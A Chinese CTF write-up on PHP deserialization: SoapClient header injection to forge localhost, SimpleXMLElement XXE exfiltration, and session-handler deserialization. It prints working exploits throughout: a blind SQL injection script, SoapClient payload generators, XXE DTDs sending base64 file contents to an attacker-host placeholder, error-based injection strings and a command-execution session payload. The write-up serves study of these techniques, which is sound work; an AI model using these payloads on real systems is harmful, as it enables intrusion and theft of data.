前言
本篇将会将会填一填上一篇的坑,补充一些原生类的例题帮助师傅们加深理解,除此之外本篇还会代入session反序列化,以及一些session反序列化与原生类的结合利用
文章作者Hardlic,本文属i春秋原创奖励计划,未经许可禁止转载。原文地址:https://bbs.ichunqiu.com/thread-63353-1-1.html
例题一(N1CTF-easy_harder_php)
考点: SoapClient
开门一个login页面,试了两下发现没啥用,看到上面有个action
尝试目录穿越,成功
emm...做完了就?算了我们来找找正常点的做法,首先dirsearch开扫,扫到个config.php~
得到源码,开始代码审计,一共拿到了三个页面的源码
config.php~
<?php
header("Content-Type:text/html;charset=UTF-8");
date_default_timezone_set("PRC");
session_start();
class Db
{
private $servername = "localhost";
private $username = "Nu1L";
private $password = "Nu1Lpassword233334";
private $dbname = "nu1lctf";
private $conn;
function __construct()
{
$this->conn = new mysqli($this->servername, $this->username, $this->password, $this->dbname);
}
function __destruct()
{
$this->conn->close();
}
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function select($columns,$table,$where) {
$column = $this->get_column($columns);
$sql = 'select '.$column.' from '.$table.' where '.$where.';';
$result = $this->conn->query($sql);
return $result;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
public function delete($table,$where){
$sql = 'delete from '.$table.' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
public function update_single($table,$where,$column,$value){
$sql = 'update '.$table.' set `'.$column.'` = \''.$value.'\' where '.$where;
$result = $this->conn->query($sql);
return $result;
}
}
class Mood{
public $mood, $ip, $date;
public function __construct($mood, $ip) {
$this->mood = $mood;
$this->ip = $ip;
$this->date = time();
}
public function getcountry()
{
$ip = @file_get_contents("http://ip.taobao.com/service/getIpInfo.php?ip=".$this->ip);
$ip = json_decode($ip,true);
return $ip['data']['country'];
}
public function getsubtime()
{
$now_date = time();
$sub_date = (int)$now_date - (int)$this->date;
$days = (int)($sub_date/86400);
$hours = (int)($sub_date%86400/3600);
$minutes = (int)($sub_date%86400%3600/60);
$res = ($days>0)?"$days days $hours hours $minutes minutes ago":(($hours>0)?"$hours hours $minutes minutes ago":"$minutes minutes ago");
return $res;
}
}
function get_ip(){
return $_SERVER['REMOTE_ADDR'];
}
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
function addslashes_deep($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
}
}
function rand_s($length = 8)
{
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|';
$password = '';
for ( $i = 0; $i < $length; $i++ )
{
$password .= $chars[ mt_rand(0, strlen($chars) - 1) ];
}
return $password;
}
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
addsla_all();
index.php~
<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');
user.php~
<?php
require_once 'config.php';
class Customer{
public $username, $userid, $is_admin, $allow_diff_ip;
public function __construct()
{
$this->username = isset($_SESSION['username'])?$_SESSION['username']:'';
$this->userid = isset($_SESSION['userid'])?$_SESSION['userid']:-1;
$this->is_admin = isset($_SESSION['is_admin'])?$_SESSION['is_admin']:0;
$this->get_allow_diff_ip();
}
public function check_login()
{
return isset($_SESSION['userid']);
}
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}
private function is_exists($username)
{
$db = new Db();
@$ret = $db->select('username','ctf_users',"username='$username'");
if($ret->fetch_row())
return true;
else
return false;
}
public function get_allow_diff_ip()
{
if(!$this->check_login()) return 0;
$db = new Db();
@$ret = $db->select('allow_diff_ip','ctf_users','id='.$this->userid);
if($ret) {
$user = $ret->fetch_row();
if($user)
{
$this->allow_diff_ip = (int)$user[0];
return 1;
}
else
return 0;
}
}
function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");
if($ret)
{
$user = $ret->fetch_row();
if($user) {
if ($user[4] == '0' && $user[2] !== get_ip())
die("You can only login at the usual address");
if ($user[3] == '1')
$_SESSION['is_admin'] = 1;
else
$_SESSION['is_admin'] = 0;
$_SESSION['userid'] = $user[0];
$_SESSION['username'] = $user[1];
$this->username = $user[1];
$this->userid = $user[0];
return true;
}
else
return false;
}
else
{
return false;
}
}
else
return false;
}
function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {
$db = new Db();
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
if($ret)
return true;
else
return false;
}
else {
die("The username is not unique");
}
}
else
{
return false;
}
}
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
function allow_diff_ip_option()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['adio'])){
$db = new Db();
@$ret = $db->update_single('ctf_users',"id = $this->userid",'allow_diff_ip',(int)$_POST['adio']);
if($ret)
return true;
else
return false;
}
}
else
echo 'admin can\'t change this option';
return false;
}
function deletemess()
{
if(!$this->check_login()) return false;
if(isset($_GET['delid'])) {
$delid = (int)$_GET['delid'];
$db = new Db;
@$ret = $db->delete('ctf_user_signature', "userid = $this->userid and id = '$delid'");
if($ret)
return true;
else
return false;
}
else
return false;
}
审计
通览一下user.php,存在一个Customer类,大概看一眼存在一个登录函数一个注册函数,登录后会有一个文件上传的功能,那我们现在就想办法去登录,在public公共函数中,有一个插入数据库的insert看起来没有什么过滤,且在这个函数中存在一个可控变量signature
点开后发现这个函数的三个参数分别是字段名 表名 和值,然后我们所传的值先经过get_column处理,这个函数会连接前后的字符串并使用,
间隔,然后经过了正则表达式/([^,]+)
/,虽然你可能不是很明白这个正则的真正作用,让我来举个例子,当经过的get_column之后**$values** 参数的值大概率类似 **
value1,
value2,
value3`,那么经过 preg_replace 函数处理后,它将被转换为 'value1', 'value2', 'value3',最终包裹进insert sql**语句中
写了一下师傅们的脚本:
# encoding=utf-8
import requests
import string
import time
url = ''
cookies = {"PHPSESSID": ""}
data = {
"signature": "",
"mood": 0
}
table = string.digits + string.lowercase + string.uppercase
def post():
password = ""
for i in range(1, 33):
for j in table:
signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j)) #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
data["signature"] = signature
#print(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#print(re.text)
except:
password += j
print(password)
break
print(password)
def main():
post()
if __name__ == '__main__':
main()
注入得到MD5 解密得到admin的密码,但是由于在数据库中限制的ip是127.0.0.1所以我们还是无法登录,这时候就得想办法伪造ip,通览全文没有看见有什么可以伪造ip的地方,唯有一反序列化,恰巧的是,这个反序列化的类可控,为什么可控呢,我们看以下代码
这里看见他反序列化了$row[2],在这里看起来是mood字段,但是我们别忘了一件事在刚刚的publish函数中,我们可以在signature处造成sql注入,
也就是说我们可以在signature后面插入另外一个恶意字段,并让这个字段的恶意数据被解析从而导致反序列化,那么现在要考虑的是通过那个反序列化呢,这里并没有pop链,所以很自然想到原生类,又因为这里限制的ip,所以想到打SoapClient链子,但是要做到访问这个public的方法我们首先得先注册登录一个普通用户,访问register路由
得爆破这个MD5后五位等于95698作为验证码输入,使用的是自己魔改的go多线程爆破脚本,
package main
import (
"crypto/md5"
"encoding/hex"
"fmt"
"runtime"
"sync"
"time"
)
var (
chars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890")
wg sync.WaitGroup
)
func sha(s []byte) {
target := "09175"
for _, ch1 := range s {
for _, ch2 := range chars {
for _, ch3 := range chars {
a := []byte{ch1, ch2, ch3, }
hash := md5.Sum(a)
hashStr := hex.EncodeToString(hash[:])
if hashStr[:5] == target {
fmt.Println(string(a))
}
}
}
}
wg.Done()
}
func main() {
threads := runtime.NumCPU() // 获取cpu逻辑核心数(包括超线程)
start := time.Now()
/* len(chars) = sum * sthreads + (sum+1) * (threads-sthreads) */
snum := len(chars) / threads
sthreads := threads*(1+snum) - len(chars)
wg.Add(threads)
for i := 0; i < threads; i++ {
if i < sthreads {
go sha(chars[snum*i : snum*(i+1)])
} else {
base := snum * sthreads
go sha(chars[base+(snum+1)*(i-sthreads) : base+(snum+1)*(i-sthreads+1)])
}
}
wg.Wait()
end := time.Since(start)
fmt.Println(end)
}
但是没有注册成功,起初我怀疑是我脚本的问题,但是在翻了多个wp的情况下,终于发现一个最近师傅的wp,这个code处有问题无法注册登录,别无他法,复现到这里的登录的地方无法进入了,这里登录后,正如前面所说,打soap的链就可以顺利登录了,再往后的文件上传,时间戳爆破就不在这里提及了,如果对这道题感兴趣的师傅可以自己打一下
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/easy_harder_php
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=cf44f3147ab331af7d66943d888c86f9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=自己添加'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
例题二(SUCTF2018-Homework)
考点:Simplexml
xxe数据外带
又是熟悉的登录 ch简单扫扫,没有什么线索,先注册个账号看看
随意注册登录进去是一个作业平台 然后有一串关于calc的源码,点击calc
按照意思是会调用这个calc类的对象中的calc函数进行四则运算,这里可以看见cacl有三个参数,在这里尝试通过调用原生类,因为这里具有三个参数,自然而然想到了SimpleXMLElement 类
这里简单回顾一下SimpleXMLElement 类,主要我们需要设置他的第三个参数为true,然后给第一个data传入一个远程xml的路径就可以远程解析xml
module=SimpleXMLElement&args[]=http://xxx.xxx.xxx.xxx/shell.xml&args[]=2&args[]=true
他介绍详见php反序列化由浅入深(二)的末尾部分https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=63353&page=1&extra=#pid590341,在这题首先我们需要在vps上设置两个xml如下
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "https://xxx.xxx.xxx.xxx/read.xml">
%int;
%all;
%send;
]>
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?%payl;'>">
在这里得注意千万不能把http打成https,否则就接收不到了,依次类推分别带出index.php内的源码
PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPlBIUCBIb21ld29yayBQbGF0Zm9ybTwvdGl0bGU+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8c2NyaXB0IHR5cGU9ImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCI+IGFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLCBmdW5jdGlvbigpIHsgc2V0VGltZW91dChoaWRlVVJMYmFyLCAwKTsgfSwgZmFsc2UpOyBmdW5jdGlvbiBoaWRlVVJMYmFyKCl7IHdpbmRvdy5zY3JvbGxUbygwLDEpOyB9IDwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iY3NzL2ZvbnQtYXdlc29tZS5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0iYWxsIj4NCjxsaW5rIGhyZWY9ImNzcy9zbm93LmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9ImFsbCIgLz4NCjxsaW5rIGhyZWY9ImNzcy9zdHlsZS5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJhbGwiIC8+DQo8bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJpbWFnZXMvU3R5bGVzL1N5bnRheEhpZ2hsaWdodGVyLmNzcyI+PC9saW5rPg0KPC9oZWFkPg0KPGJvZHk+DQo8IS0tIC9ob21lL3d3d3Jvb3QvZGVmYXVsdC0tPg0KPGRpdiBjbGFzcz0ic25vdy1jb250YWluZXIiPg0KCQkJICA8ZGl2IGNsYXNzPSJzbm93IGZvcmVncm91bmQiPjwvZGl2Pg0KCQkJICA8ZGl2IGNsYXNzPSJzbm93IGZvcmVncm91bmQgbGF5ZXJlZCI+PC9kaXY+DQoJCQkgIDxkaXYgY2xhc3M9InNub3cgbWlkZGxlZ3JvdW5kIj48L2Rpdj4NCgkJCSAgPGRpdiBjbGFzcz0ic25vdyBtaWRkbGVncm91bmQgbGF5ZXJlZCI+PC9kaXY+DQoJCQkgIDxkaXYgY2xhc3M9InNub3cgYmFja2dyb3VuZCI+PC9kaXY+DQoJCQkgIDxkaXYgY2xhc3M9InNub3cgYmFja2dyb3VuZCBsYXllcmVkIj48L2Rpdj4NCgkJCTwvZGl2Pg0KDQo8ZGl2IGNsYXNzPSJ0b3AtYnV0dG9ucy1hZ2lsZWluZm8iPg0KPC9kaXY+DQo8aDE+UEhQIEhvbWV3b3JrIFBsYXRmb3JtPC9oMT4NCjxkaXYgY2xhc3M9Im1haW4tYWdpbGVpdHMiPg0KPD9waHANCglpbmNsdWRlKCJmdW5jdGlvbi5waHAiKTsNCglpbmNsdWRlKCJjb25maWcucGhwIik7DQoNCgkkdXNlcm5hbWU9d19hZGRzbGFzaGVzKCRfQ09PS0lFWyd1c2VyJ10pOw0KCSRjaGVja19jb2RlPSRfQ09PS0lFWydjb29raWUtY2hlY2snXTsNCgkkY2hlY2tfc3FsPSJzZWxlY3QgcGFzc3dvcmQgZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lPSciLiR1c2VybmFtZS4iJyI7DQoJJGNoZWNrX3N1bT1tZDUoJHVzZXJuYW1lLnNxbF9yZXN1bHQoJGNoZWNrX3NxbCwkbXlzcWwpWycwJ11bJzAnXSk7DQoJaWYoJGNoZWNrX3N1bSE9PSRjaGVja19jb2RlKXsNCgkJaGVhZGVyKCJMb2NhdGlvbjogbG9naW4ucGhwIik7DQoJfQ0KPz4NCgkJPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJwaHAiIHJvd3M9IjIwIiBjb2xzPSI1NSIgZGlzYWJsZWQ9ImRpc2FibGVkIj4NCjw/cGhwIHJlYWRmaWxlKCIuL2NhbGMucGhwIik7Pz4NCgkJPC90ZXh0YXJlYT4NCgkJPGRpdiBjbGFzcz0idG9wLWJ1dHRvbnMtYWdpbGVpbmZvIj4NCgkJCTxhIGhyZWY9InNob3cucGhwP21vZHVsZT1jYWxjJmFyZ3NbXT0yJmFyZ3NbXT1hJmFyZ3NbXT0yIj5jYWxjPC9hPg0KCQkJPGEgaHJlZj0ic3VibWl0LnBocCIgY2xhc3M9ImFjdGl2ZSI+U3VibWl0IGhvbWV3b3JrPC9hPg0KCQk8L2Rpdj4NCjwvZGl2Pg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9ImpzL2pxdWVyeS0yLjEuNC5taW4uanMiPjwvc2NyaXB0Pg0KCTxzY3JpcHQgY2xhc3M9ImphdmFzY3JpcHQiIHNyYz0iaW1hZ2VzL1NjcmlwdHMvc2hCcnVzaFBocC5qcyI+PC9zY3JpcHQ+DQoJPHNjcmlwdCBjbGFzcz0iamF2YXNjcmlwdCI+DQoJCWRwLlN5bnRheEhpZ2hsaWdodGVyLkhpZ2hsaWdodEFsbCgnY29kZScpOw0KCTwvc2NyaXB0PiANCjwvYm9keT4NCjwvaHRtbD4=
<!DOCTYPE html>
<html>
<head>
<title>PHP Homework Platform</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script type="application/x-javascript"> addEventListener("load", function() { setTimeout(hideURLbar, 0); }, false); function hideURLbar(){ window.scrollTo(0,1); } </script>
<link href="css/font-awesome.min.css" rel="stylesheet" type="text/css" media="all">
<link href="css/snow.css" rel="stylesheet" type="text/css" media="all" />
<link href="css/style.css" rel="stylesheet" type="text/css" media="all" />
<link type="text/css" rel="stylesheet" href="images/Styles/SyntaxHighlighter.css"></link>
</head>
<body>
<!-- /home/wwwroot/default-->
<div class="snow-container">
<div class="snow foreground"></div>
<div class="snow foreground layered"></div>
<div class="snow middleground"></div>
<div class="snow middleground layered"></div>
<div class="snow background"></div>
<div class="snow background layered"></div>
</div>
<div class="top-buttons-agileinfo">
</div>
<h1>PHP Homework Platform</h1>
<div class="main-agileits">
<?php
include("function.php");
include("config.php");
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
?>
<textarea name="code" class="php" rows="20" cols="55" disabled="disabled">
<?php readfile("./calc.php");?>
</textarea>
<div class="top-buttons-agileinfo">
<a href="show.php?module=calc&args[]=2&args[]=a&args[]=2">calc</a>
<a href="submit.php" class="active">Submit homework</a>
</div>
</div>
<script type="text/javascript" src="js/jquery-2.1.4.min.js"></script>
<script class="javascript" src="images/Scripts/shBrushPhp.js"></script>
<script class="javascript">
dp.SyntaxHighlighter.HighlightAll('code');
</script>
</body>
</html>
<?php
function sql_result($sql,$mysql){
if($result=mysqli_query($mysql,$sql)){
$result_array=mysqli_fetch_all($result);
return $result_array;
}else{
echo mysqli_error($mysql);
return "Failed";
}
}
function upload_file($mysql){
if($_FILES){
if($_FILES['file']['size']>2*1024*1024){
die("File is larger than 2M, forbidden upload");
}
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!sql_result("select * from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql)){
$filehash=md5(mt_rand());
if(sql_result("insert into file(filename,filehash,sig) values('".w_addslashes($_FILES['file']['name'])."','".$filehash."',".(strrpos(w_addslashes($_POST['sig']),")")?"":w_addslashes($_POST['sig'])).")",$mysql)=="Failed")
die("Upload failed");
$new_filename="./upload/".$filehash.".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}else{
$hash=sql_result("select filehash from file where filename='".w_addslashes($_FILES['file']['name'])."'",$mysql) or die("Upload failed");
$new_filename="./upload/".$hash[0][0].".txt";
move_uploaded_file($_FILES['file']['tmp_name'], $new_filename) or die("Upload failed");
die("Your file ".w_addslashes($_FILES['file']['name'])." upload successful.");
}
}else{
die("Not upload file");
}
}
}
function w_addslashes($string){
return addslashes(trim($string));
}
function do_api($module,$args){
$class = new ReflectionClass($module);
$a=$class->newInstanceArgs($args);
}
?>
<?php
include("function.php");
include("config.php");
include("calc.php");
if(isset($_GET['action'])&&$_GET['action']=="view"){
if($_SERVER["REMOTE_ADDR"]!=="127.0.0.1") die("Forbidden.");
if(!empty($_GET['filename'])){
$file_info=sql_result("select * from file where filename='".w_addslashes($_GET['filename'])."'",$mysql);
$file_name=$file_info['0']['2'];
echo("file code: ".file_get_contents("./upload/".$file_name.".txt"));
$new_sig=mt_rand();
sql_result("update file set sig='".intval($new_sig)."' where id=".$file_info['0']['0']." and sig='".$file_info['0']['3']."'",$mysql);
die("<br>new sig:".$new_sig);
}else{
die("Null filename");
}
}
$username=w_addslashes($_COOKIE['user']);
$check_code=$_COOKIE['cookie-check'];
$check_sql="select password from user where username='".$username."'";
$check_sum=md5($username.sql_result($check_sql,$mysql)['0']['0']);
if($check_sum!==$check_code){
header("Location: login.php");
}
$module=$_GET['module'];
$args=$_GET['args'];
do_api($module,$args);
?>
带出了源码之后我们可以看见在这里只有一个文件上传功能点,在uploadfile上传处进行了转义,但是在取出的show.php中并未转义取出的数据sig,但是却需要本地才能访问show.php,所以这时候我们可以考虑二次注入+xxe来达到本地读取的效果,我们使用报错注入上传一个1.txt 2.txt
'||extractvalue(1,concat(0x7e,(select flag from flag),0x7e))||'
#hex编码之后
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C65637420666C61672066726F6D20666C6167292C3078376529297C7C27
#报错注入一般读取前一半和后一半,所以加上reverser然后再hex编码
'||extractvalue(1,concat(0x7e,(select reverse(flag) from flag),0x7e))||'
0x277C7C6578747261637476616C756528312C636F6E63617428307837652C2873656C656374207265766572736528666C6167292066726F6D20666C6167292C3078376529297C7C27
然后修改前面的read.xml的payLoad,然后再次通过刚刚的原生类访问我们的shell.xml
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/show.php?action=view&filename=1.txt">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/?%payl;'>">
show.php?module=SimpleXMLElement&args[]=http://xxx.xxx.xxx.xxx/shell.xml&args[]=2&args[]=true
读取成功
这样就读取到了一半的flag,类似的另一半如下
php中的Session反序列化
当session_start()被调用或者php.ini中session.auto_start为1时,php内部调用会话管理器,当前访问用户Session被反序列化后存储至指定目录,默认为/tmp
php的三种序列化方式
php_binary:键名的长度对应的ascii字符+键名+经过serialize()函数序列处理的值
php:键名+竖线+经过serialize()函数序列处理的值
php_serialize:serializ()函数处理数组的方式
php.ini中间与session储存的相关配置
session.save_path:session的存储位置默认为/tmp
session.auto_start: 指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler:定义用来序列化/反序列化的处理器名字,默认使用php
<?ini_set("session.serialize_handler", "php");
#ini_set("session.serialize_handler", "php_serialize");
#ini_set("session.serialize_handler", "php_binary");//设置session存储类型为php类型
#ini_set("session.save_path", "/tmp");//设置session储存路径为
#ini_set("session.auto_start", 0);
?>
出现问题的代码
传入
$_session['ctf']=$_GET['ctf'];
传出
<?php
ini_set('session.serialize_handler','php')
session_starrt();
calss ctf{
var $a;
function _destruct(){
system($this->a);
}
}?>
如果我们从
存储session的页面传入?ctf=|O:3:"ctf":1:{s:1:"a";s:4:"ls%20/";}然后再访问读取存放session的文件,便会触发漏洞 ,来看一道例题
例题--([LCTF]bestphp‘s revenge)
知识点:session反序列化+SoapClient
题目看起来很短,别误以为是一道简单的签到题,往往越难的题题目越短
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>
还是常规的先扫一下目录什么的看看有没有什么提示,发现提示只有127.0.0.1才能获得flag而且session flag得对应上才可以获得,这里有一些回调函数,仔细观察这里我们可以通过变量覆盖设置session的handle属性,接着通过覆盖b参数,因为reset($_SESSION)之后,他的值始终是$_SESSION['name'],所以我们的b参数可控,而a参数中会传入一个可控的类,并执行welcome_to_the_lctf2018函数,这时候结合下面的127.0.0.1很自然的想到SoapClient链子
exp如下:
使用了某个佬的poc
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
通过携带这个新的PHPSESSION访问得到flag
后记
终于更新完三了,斯哈斯哈,接下去的四将更新的是更具有难度的phar反序列化以及反序列化综合例题
评论已关闭